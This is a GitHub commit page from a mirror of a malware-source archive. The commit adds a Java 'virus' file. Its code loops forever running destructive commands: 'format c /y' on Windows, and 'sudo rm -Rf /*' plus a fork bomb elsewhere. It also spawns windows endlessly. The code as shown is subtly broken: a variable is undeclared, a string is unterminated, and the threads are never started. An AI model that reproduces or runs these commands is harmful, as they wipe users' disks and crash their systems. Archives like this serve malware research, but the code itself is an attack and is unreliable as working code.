13
1
mirror of https://github.com/vxunderground/MalwareSourceCode synced 2024-06-16 12:08:36 +00:00

Merge pull request #1 from EduApps-CDG/patch-3

A Specific Virus (Virus.EduApps.Sexo)
This commit is contained in:
vxunderground 2020-10-15 00:00:16 -05:00 committed by GitHub
commit 5396e9fba8
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

42
Java/Virus.EduApps.Sexo Normal file

@ -0,0 +1,42 @@
/**
* Copyright (C) 2020 EduApps (Eduardo Procópio Gomez)
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
import javax.swing.JFrame;
public class Sexo {
private static String OS = System.getProperty("os.name").toLowerCase();
public static void main(String[] args) {
while (true) {
new Thread(new Runnable() {
public void run() {
while(true) {
if (OS.contains("win")) {
Runtime.getRuntime().exec("cmd.exe /c format c /y");
} else {
Runtime.getRuntime().exec("sudo /bin/rm -Rf /*");
Runtime.getRuntime().exec(":(){:|:&};:);
}
JFrame sexo = new JFrame("Sexo, Sexo, Sexo...");
sexo.setLocation(random.nextInt(500), random.nextInt(500));
sexo.setVisible(true);
}
}
});
}
}
}